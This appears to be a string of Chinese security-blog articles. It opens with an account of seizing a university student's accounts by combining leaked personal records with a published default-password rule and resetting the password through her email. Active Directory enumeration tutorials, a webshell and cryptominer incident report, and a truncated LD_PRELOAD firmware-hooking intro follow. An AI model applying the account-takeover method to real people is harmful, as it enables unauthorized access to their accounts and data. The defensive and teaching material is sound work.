记一次高校学生账户:从无到有
本次记录,意在表明信息收集的强大之处和引起高校对网络安全的重视!看看是如何从无到有的拿到学生账户…
在了解思路过后,可能会被各位大师傅吹…
狗头保命~~~~
0x01:先看看这个窗口
http://Http://xxx.xxx.xxx.xxx/login
发现密码要么是邮箱找回,要么是手机找回….
0x02
到现在的思路,大概是
1. 手机验证码爆破,前提:知道学号+手机号+重置密码是发送验证码而不是连接
2. 邮箱验证码爆破,前提:知道学号+邮箱+重置密码是发送验证码而不是连接
上面的两种思路,多半悬….
(因为我是先挖好了洞,才写的文章,
所有我事先是知道了学号 +手机号….)
验证码处做了校验….这条路堵住了….
0x03: 看看如何做的信息收集…..
(做信息收集的过程,一定要学会常见的excel来进行数据的清洗….,寻找到我们有用的账户…)
Google大法…
再经过长达半个小时的搜索,我发现了这样一个公告,没错就是这个公告,让我有了突破的方向…
3、电子邮件的用户名为:学号@xxx.xxx.xxx.cn,初始密码为:xxxx+身份证上生日8位(年月日)。Xxxx.xxx..xxx。
4、网上办事服务大厅账号信息里的电子邮件已默认绑定为学生的电子邮件账户
账户的获取不一定要找到用户的密码,改密码也是一种思路,只要能够登录进去,那就什么好说…
从看到这个公告开始,我们的大致思路已经确立起来….
具体的思路:
寻敏感信息---然后通过邮箱去重置她的密码---最终拿到统一身份的账户
继续google,发现一处敏感信息泄露….泄露数量100条左右
这里有个点提醒下:可能很多学生会修改统一身份认证的密码,但是很多学生绝对不会去改学生邮箱的密码,常常习惯用手机号获取验证码改密码…
而我们改她的密码 使用邮箱改密码….
找到它的邮箱,进行登录好家伙,登录成功….
0x04:
进统一身份认证了….
然后我们摸进统一身份认证了….
于是
总结:
1. 总的来说,方法还是依旧是原来的方法,不一样的是,仔细细心…
2. 用于不要低估一个账户所带来的危害,哪怕是低权限的账户,也能把它的毛薅的一干二净…,比如这样….
3. 改密码的方式有很多,但是推荐使用手机号改密码,永远不要把密码规则公布出来,谁知道会发生什么呢?
4. 信息收集yyds, 从一位大师傅树立了这样一个观点:渗透测试的过程,就是从信息收集对抗的过程。内网也不例外!!如果收集到很多主机的账户密码,横向的过程就变成了不停的输入账户密码的过程…而且动静还很小…
Active Directory之AD对象
1、概述
在这篇文章中,我们将讨论不同的 Active Directory 对象及其基本概念,例如:
为什么域中需要 Active Directory 对象
如何创建它们?
如何枚举 Active Directory 对象
Active Directory 对象
Active Directory 对象是一组表示域中资源的属性。每个 Active Directory 对象都由唯一的 SID(安全标识符)标识,被用来允许或拒绝对域中各种资源的访问。让我们讨论一些属于 Active Directory 的 AD 对象。
2、User Objects (用户对象)
用户对象被分配给域用户帐户,用于获取域资源的访问权限。如果您拥有管理用户对象所需的权限,则可以从 Active Directory 用户和计算机控制台管理这些对象。用户帐户也用于运行程序或系统服务,并由用户SID识别,这与域SID类似,它由域SID和用户RID(相对标识符)组成。
PS C:\Users\scarred.monk> Get-ADUser Scarred.Monk DistinguishedName : CN=Scarred Monk,CN=Users,DC=rootdse,DC=lab Enabled : True GivenName : Scarred Name : Scarred Monk ObjectClass : user ObjectGUID : 2ba8220b-63db-4dda-b6de-095a7fa0da24 SamAccountName : Scarred.Monk SID : S-1-5-21-580985966-21152388
用户对象的 SID
在用户的 SID 值中,S-1-5-21-580985966-2115238843-2989639066 是域 SID(安全标识符),1107 是唯一标识它的用户 RID(相对标识符)。
一个SID可以分为以下几个部分:
(SID)-(Revision Level)-(Identifier-Authority)-(Sub-Authority1)-(Sub-Authority2)...-(RID)
微软对SID组成部分的描述:
SID:SID 中的 S 将上述字符串标识为 SID
Revision level:SID 结构的修订版本。迄今为止,这从未改变过并且一直是 1
**Identifier-Authority: **一个 48 位的颁发机构标识符,用于标识发布/创建 SID 的机构。 (在上述的例子中,标志符颁发机构的值为 5
Subauthority: 子颁发机构,这是一个变量编号,用于识别SID所描述的用户或组与创建它的机构的关系。
**RID:**相对标识符(RID),它能唯一标识相对于发布SID机构的帐户和组。
在域环境中,你会在多个位置看到用户 SID,例如在事件查看器或 ACL 中。SID也被用于安全描述符中,以存储与权限有关的信息。
下面是事件日志中用户SID的例子:
以下是注册表中用户SID的一个例子:
你可以在 Microsoft Docs 中找到常见的 SID 列表。:https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/security-identifiers-in-windows#well-known-sids-all-versions-of-windows
然而,在企业环境中,一个用户可以有一个以上的用户账户来完成不同的任务。例如,一个组织中的系统管理员可以有多个不同的账户,如一个账户用于在分配给他们的笔记本电脑上工作,第二个账户用于在本地域工作,还有几个账户用于在AD林中的其他域工作。
要获取 Active Directory 域中所有用户帐户的详细信息,我们可以使用以下命令:
PS C:\Users\scarred.monk> Get-ADUser -Filter *
这个命令的输出信息非常多,因为它包含了很多关于所有用户的细节。为了只获取用户的少数属性,我们可以使用cmdlet 的Select-Object (它的别名是Select),只选择我们感兴趣的属性,如SamAccountName、SID、enabled(查看账户是否启用/禁用)。
PS C:\Users\scarred.monk> Get-ADUser -f * |select SamAccountName, SID, enabled SamAccountName SID enabled -------------- --- ------- Administrator S-1-5-21-580985966-2115238843-2989639066-500 True Guest S-1-5-21-580985966-2115238843-2989639066-501 False krbtgt S-1-5-21-580985966-2115238843-298963906
这里可以使用Filter参数获取用户信息。Filter参数使用PowerShell表达式来编写 Active Directory查询字符串。使用 -F 同-Filter。
下面是使用 Filter 参数查找以 admin* 开头的用户帐户的示例:
PS C:\Users\scarred.monk> Get-ADUser -Filter 'Name -like "admin*"' DistinguishedName : CN=Administrator,CN=Users,DC=rootdse,DC=lab Enabled : True GivenName : Name : Administrator ObjectClass : user ObjectGUID : 061b1157-9a8d-4a34-9304-563a08e3883c SamAccountName : Administrator SID : S-1-5-21-580985
当你以域用户身份登录时,域计算机(在其上进行登录尝试)将请求发送到域控制器以进行身份验证,并询问域控制器为用户帐户分配了哪些权限。验证后,计算机会收到来自域控制器的响应,并使用适当的权限和限制让你登录。这是因为域用户帐户的凭据信息存储在域控制器上,而不是用户登录的本地计算机上。
如果要创建新用户可以使用 Cmdlet 的New-ADUser命令:
PS C:\> New-ADUser -Name "AD User" -GivenName AD -Surname User -SamAccountName ad.user -UserPrincipalName ad.user@rootdse.org -AccountPassword (ConvertTo-SecureString password@123 -AsPlainText -Force) -PassThru
3、Computer Objects(计算机对象)
计算机对象代表加入域并由用户用于登录域的机器。当用户以域用户身份登录计算机时,计算机对象将充当向域验证用户身份的媒介。因此,如果计算机对象从域中删除,用户将无法登录,因为计算机将无法访问域控制器。
PS C:\Users\scarred.monk> Get-ADComputer -f * DistinguishedName : CN=RDSEDC01,OU=Domain Controllers,DC=rootdse,DC=lab DNSHostName : RDSEDC01.rootdse.lab Enabled : True Name : RDSEDC01 ObjectClass : computer ObjectGUID : 032428f5-d629-451b-9d1d-46fce3ec0677 SamAccountName : RDSEDC01$ SID : S-1-5-21-5
所有计算机对象都有自己的机器用户,以$结尾。
在这个例子中,计算机对象RDSEDC01的机器账户是RDSEDC01$,这些帐户在域中执行自己的操作。
域中具有三种可以算作计算机对象的对象:
域控制器
域计算机(工作站)
成员服务器
域控制器
域控制器是一个集中式 Windows 服务器,它通过托管 Active Directory 域并向客户端提供身份验证和目录服务来管理域。域控制器只能处理单个域的身份验证请求,但它也可以存储来自林中其他域的对象的部分只读副本(如果它被启用为全局编录服务器)。
要检查域控制器,我们可以使用以下命令:
PS C:\Users\scarred.monk> Get-ADDomainController ComputerObjectDN : CN=RDSEDC01,OU=Domain Controllers,DC=rootdse,DC=lab DefaultPartition : DC=rootdse,DC=lab Domain : rootdse.lab Enabled : True Forest : rootdse.lab HostName : RDSEDC01.rootdse.lab InvocationId : 85a56dee-48fe-4897-8941-50ed5a196849 IP
域计算机(工作站)
域计算机可以由员工使用的个人计算机表示,例如属于域的台式机、笔记本电脑。就 Active Directory 而言,计算机对象与用户对象非常相似,因为计算机对象拥有用户对象的所有属性(计算机对象直接从用户对象类继承)。计算机出现在 Active Directory 中的原因很少,例如需要安全地访问资源、利用 GPO 并为其分配权限。
对象类会在后续的有关AD模式和LDAP的文章中详细解释
为了加入 Active Directory 域并允许域用户登录到该域,域计算机需要一个安全通道来与域控制器通信。安全通道是指可以传输加密数据的经过身份验证的连接。要创建安全通道,域计算机必须向域控制器提供域计算机帐户的密码。与用户帐户身份验证类似,Active Directory 使用 Kerberos 来验证计算机帐户的身份。域控制器通过关联的计算机对象及其存储的密码验证受信任的域计算机。
要检查域计算机,我们可以使用以下命令:
PS C:\Users\scarred.monk> Get-ADComputer -Filter *
成员服务器
域环境中的成员服务器提供不同的服务。这些服务器根据需要提供的服务类型安装了一个或多个角色,例如 Exchange 服务器、Web 服务器、文件服务器、SQL 服务器等。它们可以是 Windows Server 操作系统或 Linux 操作系统。
要检查成员服务器,我们可以使用以下命令:
PS C:\Users\scarred.monk> Get-ADComputer -Filter 'operatingsystem -like "*server*"'
让我们来谈谈下一种 AD 对象,即组对象。
4、组对象
组对象用于包含许多不同的 Active Directory 对象,例如用户、计算机和其他组。这样做是为了通过将权限分配给一组用户/计算机而不是单个帐户、为组创建委派组策略、创建电子邮件分发列表等,使系统管理员的管理更容易。
例如,在一个组织中,不同的团队有不同的组,并根据需要为这些组分配不同的权限。假设有一个名为“DB Admins”的组,该组有权登录并在多个 SQL 服务器上执行少量数据库操作、访问多个 DB 文件共享等。当新用户加入 DB 团队时,IT 团队会将用户添加到该组 (DB ADmins) 中,这将为新用户提供其团队成员拥有的所有访问权限。它节省了 IT 团队为每个用户单独配置权限的时间。
要获取 Active Directory 域中所有组的详细信息,我们可以使用以下命令:
PS C:\Users\scarred.monk> Get-ADGroup -f * | Select-Object name name ---- Administrators Users Guests Print Operators Backup Operators Replicator Remote Desktop Users Network Configuration Operators Performance Monitor Users Performance Log Users Distributed COM Users IIS_IUSRS Cryptographic Operato
组类型
分发组(Distribution Group)
分发组(通讯组)是用来在一个组中包括多个用户。当一封电子邮件被发送到一个分发组时,它将被发送到该分发组中的所有用户。例如。名称为Corporate Office的分发组将包括企业办公室的所有用户。当有人向该组发送电子邮件时,它将被发送给所有公司办公室员工。
安全组(Security Group)
与分发组类似,安全组可以包含用户/计算机帐户或组,用于向组中的用户/计算机提供跨域/林的不同访问和权限。例如,名为 DBAdmins 的安全组可以包含数据库操作团队的所有成员,这些成员可能有权访问多个 SQL 服务器和数据库团队的文件共享。当新的 DB 管理员加入团队时,将用户帐户添加到 DBAdmins 安全组将提供跨 SQL 数据库的所有权限。
要获取有关安全组的详细信息,我们可以使用GroupCategory -eq "security"这样的过滤器:
PS C:\Users\scarred.monk> Get-ADGroup -Filter {GroupCategory -eq "security"}
每个组类型有三个组作用域:
**Domain local(本地域):**用于仅在创建它的域中管理对不同域资源的访问权限。
**Global(全局):**用于提供对另一个域中资源的访问。一个全局组可以添加到其他全局和本地组。
**Universal(通用):**用于定义角色和管理分布在多个域中的资源。如果网络连接了多个分支,则最好仅对很少更改的组使用通用组。
Active Directory 中的一些重要组如下:
Admin groups(管理员组)
最重要的组是域管理员(Domain Admin)和企业管理员(Enterprise Admins):
Domain Admin(域管理员组)为其域中的成员提供管理员权限。
Enterprise Admins 组提供整个林中的管理员权限。
AD中的其他重要群组
除了上面两个重要的组之外,还有其他一些重要的组,你应该注意:
Schema Admins:Schema Admins 组的成员可以修改 Active Directory 数据库架构。该组拥有对Acitve Directory架构的完全管理权限
DNSAdmins:如果 DNS 服务器角色安装在域中的域控制器上,则 DNSAdmins 组的成员有权访问/修改网络 DNS 信息。 Shay Ber 发表了一篇文章https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83,解释了 DNSAdmins 组的成员如何以 SYSTEM 用户身份在域控制器中执行代码(任意 DLL)。
Print Operators:如果您在 Print Operators 组中添加用户,则该用户帐户可以登录域控制器。
Protected Users:受保护的用户组允许强制实施帐户的安全。该组的成员在身份验证过程中获得了额外的保护,以防止凭据泄露。
Server Operators:Server Operators 组的成员可以登录到域控制器并管理其配置。它可以创建和管理该域中的用户和组,但不可以管理服务器管理员账户。
Account Operators:Account Operators 组的成员可以创建和修改大多数类型的帐户,包括用户、本地组和全局组的帐户,并且成员可以本地登录到域控制器。但是,帐户操作员组的成员无法管理管理员用户帐户或管理员、Server Operators, Account Operators, Backup Operators,和 Print Operators 。
Backup Operators:Backup Operators的成员有权登录、备份、恢复/修改域控制器中的文件。
Remote Desktop Users:该组的成员可以通过 RDP 登录到域控制器。如果用户已经有权在本地登录域控制器,则将其添加到该组可以允许用户通过 RDP 远程登录域控制器。如果未启用本地登录并将其添加到此组,则您将看到以下警告:
Group Policy Creator Owners:组策略创建者所有者的成员可以编辑域中的 GPO。
以下是一些高价值组。这些组的成员默认拥有登录域控制器的权限。如果这些组的账户被入侵,那么AD域就很有可能被入侵。
Administrators Domain Admins Enterprise Admins Print Operators Backup Operators Account Operators
Custom groups(自定义组)
除此之外,组织还为 IT 管理员、IT 服务台、SQL 管理员、应用程序管理员等创建自定义特权组。此外,如果我们向服务器添加其他角色,则会创建组。就像我们添加 DHCP 角色时,创建了 DHCP 管理员组或安装 Microsoft Exchange 时,添加了 Exchange 组织管理员和 Exchange Windows 权限组。要获取详细信息,在微软的文档中还有许多其他组的描述:https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-secu
Shared Folders(共享文件夹)
共享文件夹也是 Active Directory 中的对象。在 AD 中发布新共享时,会为其创建一个对象。这对于 AD 用户轻松找到所有共享非常有帮助。下面是在 AD 中发布的共享文件夹的屏幕截图:
对于渗透测试人员,可以枚举共享以查看哪些是可访问的以及存储在那里的数据。我们可以这样枚举共享:
PS C:\> Get-SmbShare Name ScopeName Path Description ---- --------- ---- ----------- ADMIN$ * C:\Windows Remote Admin C$ * C:\ Default share Corporate Files * C:\ADShares\Corporate Files Corporate Files data for 2020 DBA Backup * C:\ADShares\DBA Backup Romania DB Backup IPC$ * Remote IPC IT Tools *
在第下次文章中,我们将介绍组策略,它是 Active Directory 的重要元素之一。我们将讨论什么是组策略、为什么需要它们、如何创建它们、使用组策略可以实现什么,并了解如何枚举和破坏组策略。
AD(Active Directory)基础知识
https://edu.yijinglab.com/post/100#1-%E6%A6%82%E8%BF%B0 1、概述
本文侧重于从不同角度了解Windows Active Directory环境。如从管理员身份配置安全策略的角度、攻击者绕过安全策略的角度、检测攻击者的角度。导致Active Directory受攻击破坏的因素有很多,比如错误的配置、糟糕的维护程序以及管理员犯的其他很多错误。文章涉及基本和高级的概念、环境配置及攻击,内容可能有点长,但是这有助于模拟不同的攻击,模拟和了解红队的攻击行为。
https://edu.yijinglab.com/post/100#2-%E4%BB%80%E4%B9%88%E6%98%AFactive-directory 2、什么是Active Directory
Active Directory简单来说,就是Microsfot提供的一项功能服务,它充当集中存储库并存储与Active Directory 用户、计算机、服务器和组织内的其他资源等对象相关的所有数据,它使系统管理员的管理变得容易。但它的主要功能是提供一种在域环境中对用户和机器进行身份验证的方法。使用 Active Directory,可以远程管理用户、工作站及其权限等资源。因此,它是一个可从网络上的任何地方访问的单一管理界面。它主要是 Microsoft Windows 的一项功能,但其他操作系统也可以加入其中,例如你可以在 Active Directory 环境中加入Linux 主机。
https://edu.yijinglab.com/post/100#3-%E4%BB%80%E4%B9%88%E6%98%AF%E5%9F%9F 3、什么是域
简而言之,域可以称为共享公共 Active Directory 数据库的所有 Active Directory 对象(如用户、计算机、组等)的集合或结构,并由称为域控制器的域的主服务器管理。域始终以其唯一的名称来引用,并且具有正确的域名结构。
域名示例:rootdse.lab
此域名中的ROOTDSE代表其NetBIOS名称
我们可以将Active Directory基础结构拆分成多个单独的域,以创建更小的边界,以便可以在大型网络中分离不同域的管理任务。在Active Directory环境中,域还可以为管理某些设置(如密码策略和帐户锁定策略)创建边界,以便它们只能应用于域级别的域用户帐户。我们将在本系列的后面部分详细讨论组策略和错误配置的策略。
域中包含的几个重要组件:
组、用户、计算机等对象。
身份认证服务
组策略
DNS
DHCP
https://edu.yijinglab.com/post/100#active-directory-powershell%E6%A8%A1%E5%9D%97 Active Directory PowerShell模块
通过在Powershell中导入Active Directory模块,我们可以检索有关域环境的基本信息。
默认情况下,Active Directory模块只存在于域控制器中,不存在工作站上。
这些文件的路径:C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.ActiveDirectory.Management\
默认情况下,此模块需要在要启用需要管理权限的 Active Directory powershell 模块的客户端计算机上安装远程服务器管理工具包 (RSAT)。每个域控制器都安装了 RSAT。因此域控制器和成员服务器都安装了内置的 Active Directory powershell 模块。但是也有一种方法可以在工作站上使用它(无需安装 RSAT),只需从域控制器复制 DLL 文件并将其导入到 powershell 会话中即可。
要在加入域的工作站上导入它,请从此处下载它(https://github.com/ScarredMonk/RootDSE-ActiveDirectory),然后使用Import-Module简单地导入它,然后就可以使用此模块中的任何命令。
Import-Module '.\Microsoft.ActiveDirectory.Management.dll'
要检索有关域的信息,我们可以使用以下命令:
PS C:\Users\scarred.monk> Get-ADDomain AllowedDNSSuffixes : {} ChildDomains : {matrix.rootdse.lab} ComputersContainer : CN=Computers,DC=rootdse,DC=lab DeletedObjectsContainer : CN=Deleted Objects,DC=rootdse,DC=lab DistinguishedName : DC=rootdse,DC=lab DNSRoot : rootdse.lab DomainControllersContainer
要检索域名,我们可以使用以下命令:
PS C:\Users\scarred.monk> (Get-ADDomain).DNSRoot rootdse.lab
https://edu.yijinglab.com/post/100#sid SID
每个域都有一个唯一的 SID(安全标识符)来标识它。通常,SID 用于唯一标识安全主体,例如用户帐户、计算机帐户或在安全上下文中运行的进程或用户或计算机帐户。 SID 在其范围内(域或本地)是唯一的,并且永远不会被重用。对于域帐户,安全主体的 SID 是通过将域的 SID 与帐户的相对标识符 (RID) 连接起来创建的。
https://edu.yijinglab.com/post/100#rid RID
RID(相对标识符)是Active Directory对象的安全标识符(SID)的一部分,用于唯一标识域中的帐户或组。它在创建时分配给Active Directory对象。RID是SID的最后一部分。
https://edu.yijinglab.com/post/100#fqdn-%E5%AE%8C%E5%85%A8%E5%90%88%E6%A0%BC%E5%9F%9F%E5%90%8D%E5%85%A8%E7%A7%B0%E5%9F%9F%E5%90%8D FQDN( 完全合格域名/全称域名)
完全合格域名是域中特定主机的完整域名。
FQDN包含两部分:主机名+域名
例如,如果域是 matrix.rootdse.lab,并且矩阵域中的计算机具有主机名 MTRXDC01,则该计算机的 FQDN 将是 mtrxdc01.matrix.rootdse.lab
https://edu.yijinglab.com/post/100#4-%E5%9F%9F%E6%8E%A7%E5%88%B6%E5%99%A8domain-controller 4、域控制器(Domain Controller)
简而言之,Active Directory域控制器承载对域中的身份验证请求进行响应的服务。它对网络上的用户访问进行身份验证和验证。当用户和计算机帐户登录到网络时,他们向域控制器进行身份验证,域控制器验证他们的信息(如用户名、密码),然后决定是允许还是拒绝这些用户的访问。域控制器是攻击者的重要服务器和主要目标,因为它持有Active Directory环境的密钥。每个域至少有一个域控制器(也可以有其他域控制器)。
要检查域控制器,我们可以使用以下命令:
PS C:\Users\scarred.monk> (Get-ADDomainController).HostName RDSEDC01.rootdse.lab
域控制器提供名称解析服务,并负责将域数据库中有关域对象的信息保持为最新。Active Directory数据库存储在文件C:\WINDOWS\NTDS\ntds.dit中,该文件在域控制器中维护。如果此文件被盗,则有关Active Directory对象(如用户、计算机、组、GPO等)的所有信息(包括用户凭据)也会受到威胁。
https://edu.yijinglab.com/post/100#%E5%8F%AA%E8%AF%BB%E5%9F%9F%E6%8E%A7%E5%88%B6%E5%99%A8 只读域控制器
出于备份目的,域控制器有三种类型,即主域控制器、只读域控制器和附加域控制器。只读域控制器(RODC)不允许对数据库进行任何更改。如果是只读域控制器,则必须在可写域控制器上进行更改,然后将其复制到特定域中的只读域控制器。只读域控制器是为了解决在远程位置的分支机构中常见的问题,这些分支机构可能没有域控制器,或者物理安全性差、网络带宽差,或者没有当地的专业知识来支持它。只读域控制器的主要用途是促进来自远程办公分支机构的身份验证,并允许用户访问域资源。
https://edu.yijinglab.com/post/100#5-%E5%9F%9F%E6%A0%91domain-tree 5、域树(Domain Tree)
域树表示为一系列以分层顺序连接在一起的域,这些域使用相同的DNS命名空间。当我们将子域添加到父域时,会创建域树。例如,有一个根域rootdse.lab,并向其添加了一个新的域矩阵(FQDN为matrix.rootdse.lab),一旦在两者之间自动创建树系信任,它就会成为同一域树的一部分。信任将在下一节中解释。
https://edu.yijinglab.com/post/100#6-%E6%A3%AE%E6%9E%97forest 6、森林(Forest)
Active Directory林是共享公共架构的多个域树的集合,所有域通过信任连接在一起。林中的每个域都可以有一个或多个域控制器,这些域控制器可以与其他域交互,也可以访问来自其他域的资源。林的名称与根域相同。如果林包含单个域,则该域本身就是根域。
我们可以按如下方式检查Active Directory中的林名称:
PS C:\Users\scarred.monk> Get-ADForest ApplicationPartitions : {DC=DomainDnsZones,DC=matrix,DC=rootdse,DC=lab, DC=ForestDnsZones,DC=rootdse,DC=lab, DC=DomainDnsZones,DC=rootdse,DC=lab} CrossForestReferences : {} DomainNamingMaster : RDSEDC01.rootdse.lab Domains : {matrix.rootdse.lab, rootdse.lab} Fo
通过从上面的输出请求RootDomain属性,可以过滤上面的命令以提取林名称:
PS C:\Users\scarred.monk> (Get-ADForest).RootDomain rootdse.lab
同样,我们可以使用此方法查看任何特定的属性,方法是将整个命令放在括号中,然后键入要查看的属性名称。
https://edu.yijinglab.com/post/100#7-%E4%BF%A1%E4%BB%BBtrusts 7、信任(Trusts)
在林中,域通过称为信任的连接相互连接。这就是为什么一个域的用户能够访问其他域的资源。在 Active Directory 环境中,一旦在两个域之间建立信任关系,它就会向跨实体的用户、组和计算机授予对资源的访问权限。这是通过连接域之间的身份验证系统并允许身份验证流量在它们之间流动来完成的。稍后将详细讨论这一点,以了解当一个域中的用户请求访问另一个域的资源时会发生什么,当前域控制器向用户返回一个特殊的票证(用域间信任密钥签名),该票证指的是另一个域的域控制器。这部分会在后续的 Kerberos 部分详细解释。
https://edu.yijinglab.com/post/100#%E4%BF%A1%E4%BB%BB%E6%96%B9%E5%90%91%E5%8D%95%E5%90%91%E6%88%96%E5%8F%8C%E5%90%91 信任方向(单向或双向)
信托可以是单向的,也可以是双向的。在单向信任域中,域一信任域二,这意味着域一是信任域,域二将是受信任域。某个域中的用户访问另一个域中的资源,该用户需要在信任域中。下图显示了两个域之间信任流的图形表示。
在双向信任的情况下,所有域都可以与所有用户共享资源,而不管它们属于哪个域。顾名思义,信任是双向的。当我们在两个域(域一和域二)之间创建信任时,域一中的用户帐户将可以访问域二中的资源,反之亦然。
有各种类型的信任。信任可以是传递性的,也可以是非传递性的。下表解释了不同类型的信任。
信任类型属性信任方向验证详情Tree-RootTransitive双向Kerberos V5 or NTLM将新树添加到林时自动创建Parent-ChildTransitive双向Kerberos V5 or NTLM添加子域时自动创建ShortcutTransitive单向或者双向Kerberos V5 or NTLM手动创建。在林中使用以缩短信任路径以提高身份验证时间ForestTransitive单向或者双向Kerberos V5 or NTLM手动创建。用于在AD DS林之间共享资源。
https://edu.yijinglab.com/post/100#%E6%A3%AE%E6%9E%97%E4%B8%AD%E7%9A%84%E4%BC%A0%E9%80%92%E4%BF%A1%E4%BB%BB 森林中的传递信任:
可传递信任扩展到林中的任何其他受信任域。
例如:
如果域1信任域2,域2信任域3,则域1信任域3。
在这里,信任关系通过每个受信任域。因为它是可传递的信任,所以它允许域1中的用户帐户访问域3中的资源,反之亦然(而不必在域1和域3之间创建额外的信任)
https://edu.yijinglab.com/post/100#%E6%A3%AE%E6%9E%97%E4%B8%AD%E7%9A%84%E9%9D%9E%E4%BC%A0%E9%80%92%E6%80%A7%E4%BF%A1%E4%BB%BB 森林中的非传递性信任
在不可传递信任的情况下,与信任之外的域的关系受到限制。这意味着不允许其他域访问信任之外的资源。他们将无法通过其身份验证信息。
在上面的示例中,域1和域2之间建立了不可传递的信任关系,两个域中的用户帐户都可以访问另一个域中的资源。因此,当我们添加新的域3并在域2和域3之间创建信任时,域1中的用户不会自动被允许访问域3中的资源。
https://edu.yijinglab.com/post/100#%E6%A3%AE%E6%9E%97%E4%B8%AD%E7%9A%84%E8%87%AA%E5%8A%A8%E4%BF%A1%E4%BB%BB 森林中的自动信任
默认情况下,当添加子域或添加域树时,会自动创建双向可传递信任。两种默认信任类型是父子信任和树根信任。
https://edu.yijinglab.com/post/100#8-%E5%85%A8%E5%B1%80%E7%BC%96%E5%BD%95-global-cataloggc 8、全局编录 Global Catalog(GC)
全局编录用于执行全林搜索,因为全局编录服务器包含所有对象的完整副本。默认情况下,域中的根域控制器被视为全局编录服务器。为了加快对林中其他域中对象的查询速度,全局编录服务器具有其自己域的副本和其他域对象的只读分区。假设我们必须从当前域以外的域中查询特定用户的描述属性,在这种情况下,全局编录将检索它而无需查询其他域的域控制器。
让我们举一个具有四个域的 Active Directory 林的示例,其中域1是根域:
由于域1是根域控制器,因此它保存当前域的完全可写目录分区:
全局编录服务器在目录数据库文件(Ntds.dit)中保存其自己域的副本(完整且可写)和林中所有其他域的部分只读副本:
https://edu.yijinglab.com/post/100#9-%E5%B0%8F%E7%BB%93 9、小结
1、Active Directory是一种目录服务,充当集中式存储库并保存与Active Directory对象相关的所有数据
2、Active Directory域是共享Active Directory数据库的所有对象(如用户、计算机、组等)的结构
3、域代表Active Directory林中的逻辑分区
4、SID(安全标识符)用于唯一标识用户、计算机帐户等安全主体
5、RID (Relative identifier) 是 SID 的最后一部分,用于唯一标识域内的帐户或组
6、FQDN是域中特定主机的完整域名
7、域树基本上是一系列按层次顺序连接在一起的域
8、域控制器对网络上的用户访问进行身份验证和验证
9、信任允许用户、组和计算机访问其他实体的资源
10、全局编录包含所有对象的完整副本,在执行林范围搜索时使用
在第2部分中,我们将介绍不同类型的Active Directory对象以及如何查询它们。
记一次服务器应急排查"新"路历程
0x01 事情概述
前一段时间接到了销售给过来的消息说某单位服务器出现问题了,但是出问题的是某云服务器,出现外联德国的行为,告警行为远控,可能没有日志,还比较急,让先支持处置,有可能的话帮忙溯源好抓人,给了个处置对的第三方师傅。
0x02 分析
毕竟给的信息是外联远控,如果是外联的情况下一般就要考虑是否是灰黑产,这种情况下出现在个人终端的可能下要大于服务器,所以这个时候基本上就是杀毒,沙箱运行看是否会出现外联行为,如果是远控类木马的情况下,一般服务器被上传的可能性比较高,钓鱼类的可能是个人终端,这是基于服务关系来分析的。
0x03 远程处置
第三方老师傅给了个vpn让先给远程看一下,正常情况下肯定是先要考虑备份镜像,在镜像中做操作,如果需要备份镜像的话这里我推荐使用``FTK``,备份之后再转格使用vm打开就ok了,比较容易上手操作。在物理机上直接操作会破坏证据,但是根据给的外联地址去进行信息搜集肯定是攻击者挂的代理地址,没有实际意义,没有高交互的蜜罐的条件下想要实现反制和溯源的基本上是没有可能的。
0x04 排查
火绒杀毒
windows日志查询
eventvwr
发现日志并未被清除,如果说是实现了远控,起码就操作者行为来讲,还是讲武德的。
windows日志分为五类
应用程序日志
安全日志
Setup日志 #安装日志
系统日志
Forwarded Events日志 #转发日志
这里主要看应用程序日志和安全日志即可,应用程序日志即安装应用程序产生的事件,安全日志主要记录用户操作产生的日志,例如登入/登出,清除日志等。
事实上并没有异常的登录事件,从出现问题到服务器关掉的登录事件以及操作日志来说也没有问题
查看定时任务
翻了一遍定时任务并未有新创建的定时任务
熟悉winserver2012的都清楚装机初始的自动任务都存在,另外无其他特殊的计划任务。
net user
无新增用户
就单纯从业务来讲,不牵涉到内网部分,所以也根本不担心内网横向的风险。断网条件下是无法通过查看连接状态判断是什么程序触发的,分析业务盘的文件
这个时候服务没有起,可以发现使用的中间件,jar包是2017年的,但是有没有打补丁不清楚,因为我没找到的patch文件以及其它像是weblogic的补丁jar包,这里可能会有人有疑问,没看见包就没打补丁么,不接受杠精提问,只是分析而已,这个时候跟开发和运维对接可以确定中间件服务对公网有映射,查看文件目录,因为查杀结果并没有出来,在文件目录下发现存在恶意文件
冰蝎马不是吗?
但是问题来了文件的属性日期不会欺骗人,出现问题的时间是今年,但是这个文件属性是去年的,这就有点儿意思了,除非还有一种可能,有其它木马或者说是之前被利用未告警的。查看杀毒结果
找到文件分析,该木马家族:CoinMiner的行为特征
根据情报库去找
归属地是德国的,其实这种情况下已经可以交差了。但是令我比较在意的是中间件的RCE,因为涉及到数据问题,第三方的师傅要求到单位使用镜像内网复现。
确实找到了上传点,确定上传路径
xxx/xxx/x/x/x/x/x/x/mages/shell2.jsp
http://10.xxxxxxxxxxxxxxxxxx/images/shell2.jsp
连接木马可成功
这时候有从云厂商那里要来的日志,量很少,但是没有关于weblogic利用的日志
这是比较有意思的,到这里其实只有一种情况,服务器是去年被入侵的,但是收到的通知是异常外联远控,可能只是基于情报库而不是从很长一段时间的监测为根据,只能说是意外发现了。
实验推荐
实验:内存镜像取证(蚁景网安实验室) https://www.yijinglab.com/expc.do?ec=ECID6a2f-ed6f-4f85-9363-731535a5c3c4>>
二进制固件函数劫持术-DYNAMIC
背景介绍
固件系统中的二进制文件依赖于特定的系统环境执行,针对固件的研究在没有足够的资金的支持下需要通过固件的模拟来执行二进制文件程序。依赖于特定硬件环境的固件无法完整模拟,需要hook掉其中依赖于硬件的函数。
LD_PRELOAD的劫持
对于特定函数的劫持技术分为动态注入劫持和静态注入劫持两种。静态注入指的是通过修改静态二进制文件中的内容来实现对特定函数的注入。动态注入则指的是在运行的过程中对特定的函数进行劫持,动态注入劫持一方面可以通过劫持PLT表或者GOT表来实现,另一方面可以通过环境变量LD_PRELOAD来实现。
